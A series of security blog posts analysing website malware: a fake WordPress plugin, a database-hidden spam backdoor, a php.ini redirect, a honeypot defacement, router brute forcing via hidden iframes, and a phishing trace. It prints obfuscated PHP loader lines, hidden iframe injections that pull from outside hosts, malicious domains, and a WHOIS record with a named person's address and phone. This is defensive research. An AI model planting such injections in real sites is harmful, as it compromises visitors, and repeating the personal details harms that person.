Over the last couple of weeks, we’ve written about malicious redirects pushing users to porn sites, ever more complicated phishing scams being carried out by multiple compromised websites on a single server and about adsense blackmail. We’ve written about how attackers hit these sites because that’s what we do. We figure out what they’re doing and clean it up or prevent it from happening.

However, today we want to explain how you’re affected by everyday website hacks (not just the big ones). Sure, there is always a website owner who is being harmed by targeted code injection or malware, but it’s not going to affect you, right? Except that it does. Most of the hacks we clean up are harming hundreds or thousands of website visitors just like you.

Who are hackers harming?

In a very concise way, malicious hackers are attempting to harm you. When you read about those taking advantage of the Heartbleed bug, brute force attacks or a DDoS attack, the key thing to think is, “Why?” Why are they trying to get those passwords? Why are they trying to take a site down?

The problem we have with the reporting on this subject is not that it isn’t correct, it’s that it’s not complete. Most times, when you read a story about a hack, the reporter will connect the website attacks with potential revenue lost or headache for the company. For example, this headline about recent hacks in Los Angeles reads, “Hackers hit 73% of LA businesses.” The focus is on the businesses that may be harmed, but the truth is that the business is usually just a conduit for the hacker to reach you because if they can do that, then they can reap rewards. The truth is that these hacks are affecting visitors as much as they’re affecting websites. When Symantec puts out a post saying that antivirus software is dead, and their own AVs are stopping less than 50% of malicious attacks, they aren’t saying attacks aren’t happening. They’re saying they’re getting more complex.

These attacks start when you visit a compromised site.

Can we do anything?

When faced with a challenge that feels insurmountable, it can be tempting to throw up your hands and say, “there isn’t a solution, so why should I care.” However, that’s the wrong choice because there is a solution. Consumers, like you and me, have to demand more from the websites we frequent.

There are simple ways, like employing a website firewall, for websites to proactively protect their content and your information. No solution will ever be 100% secure, but when a website doesn’t do so, they’re implicitly telling you that they don’t care about your information. By letting hackers harm their website or employ malicious tactics, websites are really letting them attack you. The best way to protect yourself is to visit clean websites. If your favorite sites aren’t protected, then make sure their webmaster understands how important website security is to you.

If that doesn’t work, then there is always one thing that will. Don’t go back to the site until it’s protected and make sure others know why you’re boycotting. Social media has made it easier than ever to give voice to problems and we guarantee that if enough visitors or customers vote with their pageviews and wallets, website owners will be quick to secure their site, and by extension, secure your online presence.

↧

WordPress Plugin Alert — LoginWall Imposter Exposed

June 10, 2014, 1:09 pm

≫ Next: Case Study: Complexities of “simple” malware

≪ Previous: Take Back Your Internet – Demand a Safer Web

When you work with malware for a while, you start to become very good at pattern recognition. A couple sites in every hundred cleaned might be infected in a similar way and remembering the initial problem helps to quickly solve the problem for the current site. You might not know exactly why something seems fishy at first, but you follow your instinct because something gnaws at you. Eventually, you start to see the pattern.

In the last couple of weeks, we’ve noticed just such a pattern as a bunch of websites have been contaminated with malware from an infected plugin posing as a valid one called LoginWall.

The legitimate version of LoginWall is a SaaS-based solution that protects against brute force attacks for WordPress-based sites. LoginWall also doubles as a simple, but strong, password authentication tool for the admin account without using HW tools. In short, it’s a nice plugin, as long as you’ve got the valid one.

How do you know if the plugin is valid?

First, remember that you should only trust plugins that are hosted within WordPress or directly from the author’s page. We wrote about this last month, but it’s important to keep hammering the point home.

Now, with this plugin, it’s important to understand that we can’t simply trust the name presented on wp-admin/. As you can see, it’s almost the same as the original.

The next big difference between the original plugin and the malicious version is the folder name. The hacker made them similar, but it’s easy to spot the difference as long as you’re looking at the naming conventions side by side:

Here’s the original version:
/wp-content/plugins/loginwall-for-wp-beta/

And here’s the malicious version:
/wp-content/plugins/LoginWall-XyXYXY/

But what does this malicious plugin do?

The basic version of the fake plugin won’t change anything in your site’s content so you won’t get a hacked message or distribute malware. Instead, it will download spammy pages from remote locations and store them under LoginWall-XyXYXY/assets/. Those pages are crafted by mixing your site content and the spammy content to make the spam look more legitimate with the main goal to increase links and visits to other sites to make money.

That’s the basic version of the fake LoginWall plugin. However, we also found another version of the malicious content that embedded itself directly on the WordPress database. This new version is even trickier to spot because part of it is encoded in base64.

If you want to check for this hack, then you’ll need to go to your database and view your wp_options table. Check every entry that has the autoload option and if you see entries like the following code, the malware payload has infected your site:

There are also some other encoded entries. To get rid of these entries, first make a backup of the database (better safe than sorry), and then remove those records.

Conclusion

It is important to understand that all unprotected websites can be hacked. The key for site owners is to be aware of this and then to put tools in place to quickly identify when a site has been compromised. For instance, if the site that we just cleaned had been using our free plugin, its owner would have received a notice immediately alerting her to the website trouble.

Catching this at the moment it happens allows a website owner to take immediate action, like changing all passwords and removing the malicious plugin. It also keeps Google (and other search engines) from potentially blacklisting a domain and affecting customer trust in that domain or brand.

↧

Case Study: Complexities of “simple” malware

June 19, 2014, 2:12 pm

≫ Next: Website Security Analysis: A “simple” piece of malware

≪ Previous: WordPress Plugin Alert — LoginWall Imposter Exposed

You know when you pull a string on a sweater and it just keeps going and going? You wonder when or if it will ever stop? From time to time, that’s how malware can feel. Even if you’re not a website security expert, it’s important to understand just how complicated hackers are willing to make their attacks in order to infect your website and 1,000′s of others at the same time.

What does complex malware look like?

Recently, our remediation team member Guilherme Scaldelai alerted me to an interesting infection that he had found on one of our client’s sites. Instead of just being some simple injection placed within the site code, the malware was systematic and meant to integrate with the structure of the site. This is what it looks like when malware gets complex. Let’s look at it step by step.

In this case, what is really interesting is that we didn’t just catch the result of the infection (infected files), but we also caught the infector (the script which infected them) as well. Let’s take a look at the infector functions to see what they actually do.

First, I’d like to thank the author of this malware for leaving the function names as they are and not obfuscating any of the code. I would have found all of this anyways, but this takes away a step.

As I read the names of the functions, the tapestry began to fit together. The most interesting functions are updateWormSource(), analyzePossibleIndexes(), addHtaccessRule($indexFileName) and checkParentDirectoryForWebsites() (pretty literal function name, there). The detailed analysis of all of this would be much too long for a blog post (1159 lines of code), so here is the simplified description.

When this malware is activated (probably from outside), it analyzes the environment it finds itself in and gets several system variables like site root path, host address and others. After this, it checks whether it has write permissions and starts to analyze the possible main “entry point” files. Here’s the code snippet.

The next step is to rewrite the main index file (one of those on the picture above), and replace it with its own code, which backs up the original index file and serves it under certain circumstances. It actually creates backups of all the sys variables it got earlier, including all the paths and its own code inside the infector’s body. Finally, it has backdoor functionality as well by listening for commands from outside using a simple GET function. Here are the commands with the actual payload removed:

That’s a pretty nifty trick. Remember, this is just the infector and main processing script.
There are other interesting facts about the code—for instance, it’s written in objects and it checks for lots of other things–but describing all the other functionality is out of the scope of this post.

Payload

Let’s have a look at the actual payload. First, it’s important to understand that this malware functionality can be updated, so what I’m looking at here may just be this generation of this specific malware. In next generations, it could have completely different functionality. For example, instead of serving spam (like you’ll see in next paragraph) it could delete site files, focus on data mining or do almost anything else.

Here, the crafted index file doesn’t just contain some static spam links or spam redirections, but is also able to “listen” to commands from outside as well (via GET again). Take a look at the commands:

Here again, the full analysis of this malware would take 20,000 words as this part of the malware is 642 lines of code.

In short, by displaying the payload–various SPAM links—the malware is able to get them online from their “home” sites, which are part of their configuration and, per usual, these sites are changing all the time. For now, I found these sites, but can only guess at how many are out there:

cssstyle.org
stylesheetcss.com
googlearticle.net

The content of these sites is simple enough, just a white page with this picture of a cartoon worm:

There is PHP code making sure the correct content is served to the various requests, like getting new spam content for a particular site or new config variables, and they are, evidently, storing this info.
While analyzing this malware, I tried to craft several requests to these “home” sites which had the actual infected (and cleaned by us) website in them and got a long list of spam. When I tried a non-infected site, I got a “false” response, which could mean that this infection is part of some bigger, spam-distributing network. And why not? There is a lot of money in spam nowadays.

Finally, I was able to get a list of other websites infected by this malware, or, at least, other websites hosting the spam content by using a manually crafted request, and the network appears to large. We are processing these results right now and if we find anything, we’ll publish it here.

Malware removal: part art, part science, lots of work

At Sucuri, we’re committed to making the web a safer place, and we do that website by website and injection by injection. The injection that I’ve taken you through today was certainly complicated, but it’s important that everyone associated with a website understand that it was also fairly common. Our detection and removal methods are constantly evolving because we’re constantly being sent new malware examples at Sucuri Labs.

Much like doctors are constantly observing the flu virus mutate and evolve, we are constantly seeing the same with malware. As we get better at removing certain injections, hackers respond by making their code harder to find or embedding it within layers upon layers of code. Their hope is that the website owner or malware specialist will miss the injection or will give up when they see that they have to read 1,000’s and 1,000’s of lines of code to find something malicious, and this is why malware removal is art, science and perspiration.

As a malware researcher, I consider malware removal an art because I’m able to see patterns in code and get to the bottom of problems quickly. It’s a science because there are certain indicators that have to be present for malware to work, but then more than anything, it’s perspiration. It takes a lot of effort to keep looking through another line of code when neither art nor science has helped you to find it, but in the end, it’s worth it because we’ve uncovered another layered tactic used to distribute malware.

The goal for any spammer or hacker is to make their network as large as possible and to do that, they’ve got to make sure website owners can’t figure out how to find or erase the malicious code. For the DIY’ers out there, who get excited about cleaning their own websites, when you don’t share new and interesting injections, your fight against malware will go unnoticed so please share any interesting injections you come across with us. After all, we’re researchers at heart and are as excited as ever to do our part to make the internet safer for everyone with you.

For those of you who have been the victim of a hacked site, and don’t feel that you have the requisite knowledge to fix it yourself, let our team do it for you. We might even find something interesting enough to write about.

↧

Website Security Analysis: A “simple” piece of malware

August 6, 2014, 10:57 am

≫ Next: Website Malware: Mobile Redirect to BaDoink Porn App Evolving

≪ Previous: Case Study: Complexities of “simple” malware

For regular readers of this blog, there is one constant that pops up over and over: malware gets more complex. When malware researchers, like myself, unlock new obfuscated code, it’s a signal to the black hats that they need to up their game. For me, figuring out their new hack attempts and then putting the findings online to help others is a day’s work, not to mention a big part of the fun. So, let’s get to the fun.

A colleague of mine, Ben Martin, sent me a piece of malicious code that had gone undetected for analysis. It’s important for us to understand how a piece of code goes undetected so that we can update our signatures and catch it the next time. After giving it a quick look, everything seemed to be clear. It certainly didn’t look like anything exceptional. Like I said before, the bad guys are always a step ahead, creating more and more sophisticated malware every day (even every hour), and we’re doing our best to make their “work” as hard as possible. This particular sample would just be properly detected and cleaned like the others. That would be the end of it except I felt like something was a little off.

Every malware researcher has some kind of sixth sense that alerts them when there’s something wrong in seemingly benign code. In this case, something just felt off and this led to me spending several hours with what turned out to be a very interesting analysis

What was I looking at?

We’ve written extensively about malicious plugins on this blog and most people are aware that they can be dangerous for websites. The only problem is that hackers know this as well and can attempt to take advantage of it as with the “simple” malware we’ll analyze in this post. In this case, the malicious snippet was hidden in the folder of a legitimate and working plugin. Making it even more difficult to detect, it looked very similar to the legitimate file and without a very close look would pass for real. Here’s what the file head looked like:

Then in the following code, I noticed something suspicious:

Why would a legitimate plugin file use hex chars obfuscation? This whole function just didn’t look quite right (and of course it isn’t ☺). With that in mind, let’s take a look at what those encoded strings are and what the function does:

original: $unique_id = "\x62\x61s\x65\x36\x34\x5f\x64\x65c\x6f\x64\x65"
decoded : $unique_id = "base64_decode"
original: $unique_hash = "\x63\x72e\x61\x74\x65\x5f\x66\x75\x6ec\x74\x69\x6f\x6e"
decoded : $unique_hash = "create_function"

At this point, if it hadn’t already, this plugin grabbed my attention. You can see that it is a class constructor (this malware is OOP based) and the author is getting and running something from the database (DB) and it’s doing so in a very tricky way. In fact, this whole file is nothing but one BIG LIE (297 lines of it to be exact). All the functions are serving a single purpose; to perform actions on the DB content and running it. At this point, I started to wonder what this code was doing with the database, but prior to checking the main code buried deep in the WordPress DB, I also wanted to know how this malware was activating. The files in the plugin folders are not loaded automatically and there was no include function anywhere in any other files, which is what I would have expected. It wasn’t there so I figured that it had to be in the DB. And you know what, it was. Here was my first search:

Do you see that better_blogroll.php? That’s how the author was loading and running the malware. There is no sign of it in the wp-admin dashboard and, in fact, there is no sign of it anywhere but in this single DB record modified to load the file. Now that we know how it’s executed, let’s see what code is being loaded.

Back to the constructor code

Remember that constructor code? Here are the lines where the DB record name and class are crafted:

$this->option_name = 'class_' . $this->id_base;
$wp_blogroll_widget = new WP_Blogroll_Widget_Support('generic_support','auto');

So the final record name should be class_generic_support. Now, we just need to find something like this in the DB. I quickly searched for it and what do you know…

Wait a second, this is HUGE! I expected some short malicious code changing the blogpost titles to pharma spam, but what’s this? It’s clearly reverted base64 encoded content so I did a quick reversal of the string to format the mess and look at how deflating that is. Now I’ve got another 1,110 lines of malicious code to sift through.

If we take a look at the functions list used, it becomes clear that these are all title manipulation functions, but, interestingly, this malware also has other functionality highlighted by the door_main() function:

What we have here is yet another huge base64 encoded code block. Run it through a quick decoder and, wow, it turns out that it’s a complex backdoor with shell uploading functionality and the ability to steal system information. For an idea of what it can do, look at these code snippets:

Believe it or not, there’s still more, but this gives a clear picture of this “tiny, little” malware injection. There are a couple interesting aspects underlying this malware.
1. The clever way it’s running itself by storing the main part of the payload in the DB
2. The main spam distribution functionality also has a complex backdoor implemented

But is that everything?

By this point, I was already surprised by this tricky piece of malware, but given how deep this rabbit hole was, I decided to go through the original code hidden in the DB again just to be sure that I wasn’t missing anything. Unsurprisingly, the code itself is really complex, but I noticed that the $door array variable was placed in several areas and it looked like some sort of configuration was stored in this variable:

$door = unserialize(base64_decode(strrev(get_option('wp_check_hash'))));

From this, I found that this was being stored in yet another place in the WordPress DB structure. The author is working with the standard WordPress get_option() function so now we need to have a look at where else this function is used:

And. Just. Wow.

While the wp_next_check and _feed_count_ were just integer values created and used by the malware, the wp_check_hash and rss_ records were much more interesting. The wp_check_hash included the malware configuration, of which this was the most interesting part:

The redir_URL probably serves as some sort of tracking script storing the info about the infected sites, but unfortunately I was not able to get anything else from this branch.

But what about that update host? That looks familiar, right? As it turns out, it’s just a similar address to a well-known url-shortening service (we’ve redacted the name). I tried to open it and it’s just an empty page. In any case, they have to be updating the code from this address somehow so I went back to the code analysis and took another look at this code snippet:

I crafted the link and, luckily, I was successful again. In this case, I was able to download the malware’s infector code, which is responsible for the initial infection. It has implemented lots of functionality responsible for checking the environment and based on that, the malicious file itself is downloaded. If you’re into this sort of thing, it is really interesting.

That’s a lot of code, but what does it do?

Finally, I was able to cull a couple of other pieces of information from file, among other things the author’s e-mail address, which he/she uses to send alerts to the address with warnings when something is wrong:

Unfortunately, I was not able to download any other remote content. At least not yet. Here is the summary sent to the author’s e-mail address. Notice the rather amazing attention to detail.

That right there is a pretty nice summary. With this, the attacker knows everything about your website, and in combination with the backdoor he/she placed, she also knows about your server.

Beyond that, the malware stores a huge list of IP addresses (collection of bot IPs) and an even bigger collection of SPAM data from which the SPAM content on the infected sites is crafted. From this, I was able to find a collection of other infected sites within the spam data. Both collections were, again, buried deep in the WP DB structure:

There you have it; the primary function of all of this code is to insert SPAM content into legitimate site posts. This malware sample isn’t just a sophisticated structure in and of itself, but is also a very complex method of injecting the SPAM into the content. It stores the SPAM content in the database and, at this point has more than 50,000 entries! I’d like to thank my colleague, Ante Kresic, for helping me out with analysis of this next part. Here are his findings

What is happening with SPAM?

The SPAM data content has an array form with several subarrays. Let’s have a look at them:

Here, the script breaks up the post content by sentences. It inserts SPAM a minimum of one time up to a maximum of seven times, depending on multiple variables. It also alternates between adding concantenated SPAM or adding it to a new line. All in all, it’s creating paragraphs out of the content and creating wholly new content for the post.

So that’s it?

It might seem like a lot of work for a malware hacker to go through just to place some SPAM on a website, but we need to remember that their goal is to place this SPAM on thousands of websites and make it difficult for website owners to get rid of. In that way, the malware creator can reap rewards from their work for the longest interval possible. So, while that’s it for this SPAM incident, there is a greater lesson to learn here by looking at how much work the malware author put us through just to get to the root of the problem. And this is just spam. If they’ll go this far to make a few bucks on SPAM placement (actually, it could be quite a few bucks), then imagine the lengths they’d go to in order to steal your client’s credit card information or to place Trojans on your site that could eventually give them access to your visitors’ machines. The possibilities are endless.
From our point of view, what’s really important is that you, as a site owner, pay attention to your website. If you begin to see the tell-tale signs of malware, then reach out to us. Alternatively, proactively protect yourself from this problem. When you don’t do that, you put your site and your site’s visitors at risk.

↧

Website Malware: Mobile Redirect to BaDoink Porn App Evolving

August 12, 2014, 10:21 am

≫ Next: My WordPress Website Was Hacked

≪ Previous: Website Security Analysis: A “simple” piece of malware

Recently, we wrote about a malware redirection on this blog where the malware was causing compromised sites to redirect their visitors to pornographic content (specifically, the BaDoink app). You can read more about what we found by going to our previous blog post.

As described in the original post, some particular files were infected (examples were the index.php, wp-config.php and others). We thought that was enough malware for one app. However, while we were working on an infected site today, we found a new malware injection causing this redirection.

Since all of the sites web files were clean and we didn’t find any suspicious Apache modules or binaries, it took a while for us to figure the problem out. However, it became much more clear once we investigated the PHP binary and found some suspicious entries.

First, after running the php -i command (which displays full php info), I got the location of the main php.ini configuration file. When I took a look at it, I saw the following suspicious entry:

php_prepend1

I was actually searching for the auto_append_file entry (because it is a very commonly used malware entry), but this time, auto-append was empty. Right above it, however, there was an auto_prepend_file entry that had some files assigned and it was this /etc/.loger.php, that looked very suspicious.

Here’s what we found when we opened the file:

php_prepend2

After deobfuscating it we could confirm that it was malicious and that it contained a redirection to the infamous Porn app because it used the exact same code responsible for inserting the malicious JavaScript redirects to the documents (based on the User Agent). The solution was to remove the php.ini entry, and remove the file itself, and then to restart the apache server.

Be careful because simply removing the file will cause a crash of your site and will lead to a 500 internal server error, which is why Apache needs to be restarted. However, if you want to schedule the restart for a more appropriate time, removing all of the content from this malicious file (.loger.php in this case) would do the trick and then you can remove it after restarting your apache.

What did we learn

We already knew this, but there is a lot of money to be made by redirecting website links to porn and some malicious agents will do this by hacking legitimate links and websites. In this case, there is still a lot of traffic being driven specifically to Badoink’s App. It’s important to remember that, if you hear reports of visitors being redirected and can’t get redirected yourself, your site is still at risk as much of the malware we’ve seen is conditional. Finally, remember that we can prevent, detect and fix sites built on any platform (examples: WordPress, Joomla, Drupal) so if you’re having a hard time getting rid of the malware or any symptoms of malware, sign up for a plan and our team will clean your site today.

Stay safe and keep your eyes open!

↧

My WordPress Website Was Hacked

August 27, 2014, 11:00 am

≫ Next: Website Security – Compromised Website Used To Hack Home Routers

≪ Previous: Website Malware: Mobile Redirect to BaDoink Porn App Evolving

Before you freak out, allow me to clarify. It was one of several honeypots we have running. The honeypots are spread across the most commonly employed hosting companies. From Virtual Private Servers (VPS) to shared environments, to managed environments. In most instances we pay and configure them like any other consumer would so that we aren’t given any special treatment.

Honey Pot Systems are decoy servers or systems set up to gather information regarding an attacker or intruder into your system… A Honey Pot system is set up to be easier prey for intruders than true production systems but with minor system modifications so that their activity can be logged or traced. The general thought is that once an intruder breaks into a system, they will come back for subsequent visits. During these subsequent visits, additional information can be gathered and additional attempts at file, security and system access on the Honey Pot can be monitored and saved. – SANS

Our goal is simple; we want to better understand the dynamic nature of website security and continue to analyze and interpret attackers’ intentions. Having live sites that we allow to get hacked also keeps us sharp in terms of how we respond to these intrusions and, if we’re being completely honest, helps us to better understand the emotions that a website owner, like yourself, might go through. Between you and I though, it really gets us excited.. almost as excited as a spider when they feel their web vibrating as their prey struggles to free itself.. but I digress..

Sucuri – My Website was Hacked – Defacement

Note that the only security configuration on the site was our WordPress Security plugin for auditing. It did NOT include our Website AntiVirus or Website Firewall products. The idea was to encourage attackers to penetrate the website so that we can analyze their actions and impacts to the website, not to stop them.

The free Sucuri WordPress Security plugin is not a preventive tool, it falls into the detection / monitoring realm of security. It’s designed to support your administration tasks. If you are looking for a security utility plugin, one that allows you to configure every aspect of your site then you will want to consider other security plugins that fit into that category.

Security Tools Enable Actions

It was my Activity Monitor that notified us to the problem. The activity monitor is part of our free WordPress Security plugin. Embedded within the plugin is a robust feature that logs every activity, based on your needs, and those activities are synchronized within the Sucuri Security Operations Center (SOC) server cluster[s]. This ensures that, even after a compromise, an attacker is unable to modify or remove the forensic evidence required to understand what happened.

Good crackers are very intelligent and follow strict procedures after they successfully gain entry to your website. One of those steps is to look for security plugins, or monitoring tools, and disable them or purge the databases in an effort to cover their tracks.

Sucuri – My Website was Hacked – WordPress Security Notification

If you’re wondering how I knew I was hacked, the answer is simple. I’m a responsible website owner. When I received a notification of someone logging in as Admin and I was not currently logged in, and no one else was supposed to log in, the signs were clear as day that something was wrong. This is one reason I always recommend you know who is logged in to your website. If you’re the only one with privileges, then no one else should ever be logged in. You can learn more about this feature of our plugin in a blog post from last month.

Shortly after that, we began to receive a series of notifications notifying us of changes. For us, the most important information the notifications gave to us was in knowing the method they were using to make their changes. In this case, they were leveraging the Theme Editor. If you’re not familiar with the Theme Editor, it’s a feature that allows you to manipulate the core files of Themes and Plugins. It’s on by default on all installations, and it encourages designers and developers to make modifications to their themes / plugins right in their WordPress administrations panel. It’s also something every cracker on the web knows, and looks to exploit (as demonstrated below).

Sucuri – My Website was Hacked – Theme Editor Used

This is why one of the most effective tips I can give to any new user of WordPress is to disable Theme / Plugin editing via their WordPress administrator panel.

If you’re a designer or developer and you depend on editing your theme / plugin via the WordPress administrator panel, you’re doing it wrong. You’re doing yourself and your clients a disservice. And yes, I realize it’s easier. And yes, I realize it helps save time. And no, it still isn’t worth it.

Fortunately for everyone, disabling the feature is very simple. Copy and paste the following into your wp-config.php

#DISABLE EDITING IN ADMINISTRATION PANEL
define('DISALLOW_FILE_EDIT', true);

As well, many of the available Security utility plugins, like iThemes Security, and our own plugin offer you features to address this as well:

Sucuri – My Website Was Hacked – Plugin : Theme Editor

Analyzing the Impacts of a Compromise

Understanding that an attacker logged in is just one piece of the puzzle. We now look to see what changes occurred. The first reaction for everyone is to open the site, which is where we were presented with the defacement shared above.

The next obvious question is, “What else changed?” We leveraged the auditing tools to understand if the integrity of any files changed.

Sucuri – My Website Was Hacked – File Integrity Monitoring

Looking at our logs we can see that the attacker modified two files:

twentythirteen/page.php
twentythirteen/index.php

The last index.php was modified twice. This is a good place for us to start.

Logging into our handy dandy Secure File Transfer Protocol (SFTP) application (in this case FileZilla), I am able to confirm the files were just modified today.

Sucuri – My Website Was Hacked – FileZilla Editing

The next logical step is to see the changes made in those files. I used my code editor, in this case Coda 2, and I opened one of the files:

Sucuri – My Website Was Hacked – Defacement Payload

You could also see how they did it by opening the administrator panel, clicking on Administrator > Editor and selecting the index.php or page.php:

Sucuri – My Website Was Hacked – Theme Editor and Payload

Looking through the other files on the server, it was evident that the attacker did not change anything else. Whether it was the timely response, or whether the attacker was satisfied, we’ll likely never know.

The attacker did change our password though. We tried logging in when we got the incident report and were blocked by an incorrect password.

Sucuri – My Website Was Hacked – Password Chnaged

What we do know, however, is that the attacker logged in successfully 3 days prior to the actual attack, which is a very common practice because it verifies that they have access without arousing suspicion. They then waited until the right time to log in and make changes. I know this because I am able to go backwards in time using the auditing feature in the Sucuri WordPress Security plugin.

Sucuri – My Website Was Hacked – History Logins

We also know that in both instances the attacker was coming from IPs originating in Russia and Turkey, but then again that’s pretty easy to configure these days. They can really be anywhere.

#193.150.120.167

person:         Michael Morozov
address:        301840, Russia, Tula district, Slovatskogo vosstania, 18
phone:          +37369405042

#78.170.58.47

descr:          TurkTelecom

While that doesn’t tell us much, we do know the group as well:

Sucuri – My Website Was Hacked – Alsancak Tim – Web Grafik

They also seem to be fairly new to the game with a brand new FB group – they’re likely a bunch of script kiddies. However, that is pure speculation. What isn’t speculation is that lately, it seems that they are on a role showing their ability to deface websites.

Sucuri – Alsancak Tim Hacking Group

Improving The Website’s Security Posture

That is as far down the rabbit hole as we’re going to go for one blog post. It illustrates a normal cycle in attacks as of late. Although these attacks are often automated, they don’t need to be. In this case, the attack was manual. However, this doesn’t mean that that the attack itself, exploiting the access control mechanism (i.e., wp-admin log in), was not automated. It probably was. It is likely that it was a script that identified the weak credentials, saved the website name and allowed the attacker to come back at their leisure to initiate the second phase of the attack.

Sucuri – My Website Was Hacked – Attack Sequence

When we look at the sequence of events, we have to ask ourselves..

What could we have done to prevent this?

In this specific sequence this is what we would recommend:

Most Effective Option: Employ WhiteListing Access Control

This is a concept that blocks all users by default and only allows specific users based on specific IPs. It’s very powerful, and some of today’s most popular Website Firewalls support this sort of access control. This would have stopped the attack outright, whether using the admin user or any other number of hardening techniques.

Employing a Website Firewall, although most effective, is not always an option and in some cases is too complex a solution. In those instances, you can leverage application level security utility plugins to assist you in the process. One such plugin, we recommend is the iThemes Security utility plugin.

Alternative 1: Throttle Access Attempts

This is a very common feature these days. You’ll find a wide range of toolsets offering to do it at the application layer, but few do it right. Many will work for the average attack scenario, but the more complex ones require a very different approach. It also requires constant review and updates to maintain the intelligence as attacks evolve (remember, they are constantly evolving).

Alternative 2: Employ Complex Long Unique Passwords

In terms of access control, this is, by far, the simplest task you can employ as an end-user. It’s actually not hard at all, but can often feel impossible because of our own laziness. We too often feel our approach is unique enough, when in reality almost any simple word-based password can be broken. My simple solution to CLU is to leverage a password manager, something like Lastpass will do nicely. Have it generate the password and save it for when you need it.

Alternative 3: Employ Two Factor Authentication

Ipstenu wrote a very good article on the subject of Two-Factor Authentication last year around May. I’d encourage you to take some time to read it, it’s well structured and still applies today. Many of the security utility plugins today offer some form of it. Alternatively, you can also always go straight to the source, Google Authenticator. Seems to be what all the cool kids want to employ these days.

It’s good to understand that this attack began with the employment of a concept known as Brute Force, a concept that is designed to gain entry to your website. Be sure to make a distinction between Brute Force attacks and Denial of Service attacks, but also know that BF attacks can contribute to a DOS attack if the server fails.

Lastly, once you have done everything you can to clean your environment be sure to take a few post-hack measures. This includes forcing all users to reset their passwords and resetting your API salts / keys in your wp-config.php. If you’re unclear what this is, then don’t worry because our Free WordPress Security plugin has a feature designed to help you with it.

Sucuri – My Website Was Hacked – Post Hack Features

If all else fails, you can always look for more instructions online, seek free help on the forums, or seek professional support.

↧

Website Security – Compromised Website Used To Hack Home Routers

September 11, 2014, 7:52 am

≫ Next: Phishing Tale: An Analysis of an Email Phishing Scam

≪ Previous: My WordPress Website Was Hacked

What if we told you that a compromised website has the ability to hack your home router?

Yesterday we were notified that a popular newspaper in Brazil (politica.estadao.com.br) was hacked and loading several iFrames. These iFrames were trying to change the DNS configuration on the victim’s DSL router by Brute Forcing the admin credentials.

Sucuri – Politica NewsPaper Twitter Notification

As you can see in the image, the payload was trying the user admin, root, gvt and a few other usernames, all using the router default passwords. Hours after being notified the website was still compromised, so we decided to dig a little deeper.

Below is the payload chain:

Sucuri – Politica iFrame Payload Chain

The payload itself is simple, it’s a hidden iFrame injection, loading content from:

<iframe style="position:absolute;width:0px;height:0px;" src="http ://www.laspeores. com.ar/.../_/" frameborder="0"></iframe>

Chances are that laspeores.com.ar owner doesn’t know that the website is infected. You see the …? and the underscore directories in the URL? Those are commonly used as way to disguise or evade detection. Nobody would dare mess with DOT and DOT DOT directories, right?

Next it loads a second iframe, now getting the content from a URL shortener site: vv2.com:

<iframe style="position:absolute;width:0px;height:0px;" src="http://vv2 .com/a6n" frameborder="0"></iframe>

Yes, another hidden iframe, and now with JavaScript code. So, as expected for a shortened URL, it redirected us to a third website, now with JavaScript code:

HTTP/1.1 301 Moved Permanently
Date: Wed, 10 Sep 2014 11:11:14 GMT
Server: Apache/2.4.10 (FreeBSD) PHP/5.5.16
X-Powered-By: PHP/5.5.16
Location: http://cect.ut. ee/wordpress/wp-content/js/
Content-Length: 2214
Content-Type: text/html

Here is the Payload:

Sucuri – The Payload

This script is being used to identify the local IP address of your computer. It then starts guessing the router IP by passing it as a variable to another script:

http ://cect .ut .ee/wordpress/wp-content/js/?ip=172.16.102.128".

It is publicly available on the internet, there’s nothing malicious on it. You can find a similar function on http://net.ipcalf.com/.

Interestingly enough, this script is not compatible with Internet Explorer, so the attacker had to improvise, using a different approach, the output for IE is like what we saw in the image above. 72 requests hidden as image tags using default passwords, but now instead of targeting possible IP addresses on my local network range, it uses a default list: 192.168.0.1, 192.167.1.1 and the WAN address.

Protect yourself!

Sometimes it’s easy to forget how powerful the web is.

We often spend time talking to web server infections, and drive by downloads, but we rarely talk to the other nefarious acts malicious actors can do. This is but one example of a wide range of actions available to the crackers.

Websites have been the number one distribution mechanism for malware for a while, and now we’re seeing this evolution in attacks. It’s unlikely that this will end soon, as such you have to work hard to be vigilant ad prepared. Remember, that your personal online security, is just as important as your website security.

This means that it is all about good posture, good posture reduces risk, and we all know that security is about risk reduction.

The easiest way to address an issue like the one describe above is to move beyond the default user name / password configuration. Odds are many of you unpackage the router, set it up and go about your business. You’re safe, who would want access to your home router? Well, now you know who. Routers are the backbone of the internet, even those that you use in your homes.

Be Smart. Be safe.

If you want to get extreme with things, consider disabling the execution of JavaScript on your browsers or disabling play options for objects in the browser.

↧

Phishing Tale: An Analysis of an Email Phishing Scam

June 3, 2014, 9:58 am

≫ Next: Is my website hacked? If you have to ask then, “Yes.”

≪ Previous: Website Security – Compromised Website Used To Hack Home Routers

Phishing scams are always bad news, and in light of the Google Drive scam that made the rounds again last week, we thought we’d tell the story of some spam that was delivered into my own inbox because even security researchers, with well though-out email block rules, still get SPAM in our inboxes from time to time.

Here’s where the story begins:

Today, among all the spam that I get in my inbox, one phishing email somehow made its way through all of my block rules.

Even our security team gets SPAM from time to time.

I decided to look into it a little further. Of course, I wanted to know whether or not we were already blocking the phishing page, but I also wanted to investigate further and see if I could figure out where it came from. Was it from a compromised site or a trojanized computer?

The investigation started with the mail headers (identifying addresses have been changed, mostly to protect my email ☺):

The headers tell us that miami.hostmeta.com.br is being used to send the spam. It’s also an alert that some of the sites in this shared server are likely vulnerable to the form: X-Mailer: PHPMailer [version 1.73]. I decided to look into the server and found that it contained quite a few problems. This server hosts about twenty sites, some of which are outdated–WordPress 2.9.2 is the oldest–while others are disclosing outdated web server versions (Outdated Web Server Apache Found: Apache/2.2.22) and still others are blacklisted (http://www.siteadvisor.com/sites/presten.com.br). This makes it pretty difficult to tell where the spam came from, right?

Luckily, there’s another header to help us, Message-ID:. nucleodenegociosweb.com.br is hosted on miami.hostmeta.com.br and it has an open contact form. I used it to send a test message and although the headers are similar, the PHPMailer differs:

What Do We Know Now?

We know who is sending the phishing messages, but what host are they coming from? There are some clues in the message body:

From that image, we can see that http://www.dbdacademy.com/dbdtube/includes/domit/new/ is hosting the image and the link to the phishing scam, but it doesn’t end there. As you can see from the content below, we’ll be served a redirect to http://masd-10.com/contenido/modules/mod_feed/tmpl/old/?cli=Cliente&/JMKdWbAqLH/CTzPjXNZ7h.php, which loads an iframe hosted on http://www.gmff.com.hk/data1/tooltips/new/.

Here is the content:

Problem Solved. Or is It?

